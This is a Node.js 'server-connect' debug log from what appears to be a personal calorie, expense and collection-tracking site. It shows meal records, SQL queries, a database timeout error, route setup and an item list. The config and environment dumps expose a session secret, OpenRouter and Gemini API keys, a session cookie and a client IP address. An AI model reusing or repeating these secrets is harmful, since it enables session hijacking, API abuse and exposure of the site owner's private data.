    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  },
  {
    id: 421,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)',
    replacements: "Make with minimal oil using a non-stick pan,Incorporate more non-starchy vegetables (e.g., grated carrots, spinach, bottle gourd) into the batter to increase fiber and nutrients,Use a higher proportion of lentils or add oats/ragi flour to the batter to boost protein and fiber content,Serve with a high-protein side like a lentil-based sambar (without coconut) or a small portion of paneer bhurji (cottage cheese scramble) to enhance the meal's protein profile",
    created_at: '2025-12-16T23:21:49.000Z',
    skip_level: 1,
    skip_reason: 'Homemade Appe, made from fermented rice and lentils, is a good source of complex carbohydrates, which are essential for sustained energy during your 5x weekly gym sessions and for replenishing glycogen stores post-workout, aiding muscle recovery and development. It also provides some plant-based protein and is generally easy to digest due to fermentation. Being homemade allows for control over the amount and type of oil used, making it a wholesome and suitable option for your fitness goals.'
  }
]
2025-12-17T05:48:13.504Z server-connect:app Executing action step setvalue
2025-12-17T05:48:13.504Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T05:48:13.504Z server-connect:output var_total: 391
2025-12-17T05:48:13.504Z server-connect:app Executing action step setvalue
2025-12-17T05:48:13.504Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T05:48:13.504Z server-connect:output var_consumed: 16
2025-12-17T05:48:13.504Z server-connect:app Executing action step setvalue
2025-12-17T05:48:13.504Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T05:48:13.504Z server-connect:output var_deficit: 2009
2025-12-17T05:48:13.504Z server-connect:app Executing action step custom
2025-12-17T05:48:13.505Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T05:48:13.506Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '391',
    surplus_or_deficit: '2009',
    status_flag: 2
  }
]
2025-12-17T05:48:14.009Z server-connect:app Executing action step identify
2025-12-17T05:48:14.009Z server-connect:app options: { provider: 'security' }
2025-12-17T05:48:14.009Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 05:53:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 05:53:38' as DATETIME)"
}
2025-12-17T05:55:30.231Z server-connect:app Executing action step identify
2025-12-17T05:55:30.231Z server-connect:app options: { provider: 'security' }
2025-12-17T05:55:30.231Z server-connect:output identity: 1
2025-12-17T05:55:32.493Z server-connect:app Executing action step identify
2025-12-17T05:55:32.493Z server-connect:app options: { provider: 'security' }
2025-12-17T05:55:32.493Z server-connect:output identity: 1
2025-12-17T06:02:14.232Z server-connect:app Executing action step identify
2025-12-17T06:02:14.233Z server-connect:app options: { provider: 'security' }
2025-12-17T06:02:14.233Z server-connect:output identity: 1
2025-12-17T06:02:17.314Z server-connect:app Executing action step identify
2025-12-17T06:02:17.314Z server-connect:app options: { provider: 'security' }
2025-12-17T06:02:17.314Z server-connect:output identity: 1
2025-12-17T06:07:40.242Z server-connect:app Executing action step identify
2025-12-17T06:07:40.243Z server-connect:app options: { provider: 'security' }
2025-12-17T06:07:40.243Z server-connect:output identity: 1
2025-12-17T06:07:43.233Z server-connect:app Executing action step identify
2025-12-17T06:07:43.233Z server-connect:app options: { provider: 'security' }
2025-12-17T06:07:43.233Z server-connect:output identity: 1
2025-12-17T06:32:37.069Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-17T06:32:39.140Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-17T06:32:40.005Z server-connect:setup:upload Upload middleware configured.
2025-12-17T06:32:40.005Z server-connect:secure CSRF Protection initialized
2025-12-17T06:32:40.009Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-17T06:32:40.010Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-17T06:32:40.011Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-17T06:32:40.013Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-17T06:32:40.018Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-17T06:32:40.022Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-17T06:32:40.032Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-17T06:32:40.045Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-17T06:32:40.050Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-17T06:32:40.055Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-17T06:32:40.066Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-17T06:32:40.066Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-17T06:32:40.075Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2025-12-17T06:32:40.078Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2025-12-17T06:32:40.082Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-17T06:32:40.082Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-17T06:32:40.084Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-17T06:32:40.091Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-17T06:32:40.096Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-17T06:32:40.099Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-17T06:32:40.104Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-17T06:32:40.111Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-17T06:32:40.115Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-17T06:32:40.120Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-17T06:32:40.123Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-17T06:32:40.127Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-17T06:32:40.127Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-17T06:32:40.129Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-17T06:32:40.135Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-17T06:32:40.137Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-17T06:32:40.139Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-17T06:32:40.831Z server-connect:router Serving templateView /
2025-12-17T06:32:40.838Z server-connect:app Executing action step identify
2025-12-17T06:32:40.838Z server-connect:app options: { provider: 'security' }
2025-12-17T06:32:40.840Z server-connect:output identity: 1
2025-12-17T06:32:40.841Z server-connect:app Executing action step restrict
2025-12-17T06:32:40.841Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T06:32:40.843Z server-connect:app Executing action step identify
2025-12-17T06:32:40.843Z server-connect:app options: { provider: 'security' }
2025-12-17T06:32:40.843Z server-connect:output identity: 1
2025-12-17T06:32:40.844Z server-connect:output restrict: undefined
2025-12-17T06:32:40.844Z server-connect:app Executing action step restrict
2025-12-17T06:32:40.844Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T06:32:40.844Z server-connect:output restrict: undefined
2025-12-17T06:32:40.845Z server-connect:router Render template layouts/main
2025-12-17T06:32:40.845Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'x-forwarded-for': '157.48.242.190',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:56.347Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.242.190',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'HTTP_X_FORWARDED-FOR': '157.48.242.190',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-17T06:32:41.880Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T06:32:41.881Z server-connect:app Executing action step identify
2025-12-17T06:32:41.881Z server-connect:app options: { provider: 'security' }
2025-12-17T06:32:41.881Z server-connect:output identity: 1
2025-12-17T06:32:41.881Z server-connect:app Executing action step restrict
2025-12-17T06:32:41.881Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T06:32:41.882Z server-connect:output restrict: undefined
2025-12-17T06:32:41.883Z server-connect:app Executing action step select
2025-12-17T06:32:41.884Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T06:32:41.889Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T06:32:41.893Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T06:32:41.898Z server-connect:app Executing action step identify
2025-12-17T06:32:41.898Z server-connect:app options: { provider: 'security' }
2025-12-17T06:32:41.898Z server-connect:output identity: 1
2025-12-17T06:32:41.898Z server-connect:app Executing action step restrict
2025-12-17T06:32:41.898Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T06:32:41.900Z server-connect:output restrict: undefined
2025-12-17T06:32:41.900Z server-connect:app Executing action step single
2025-12-17T06:32:41.900Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
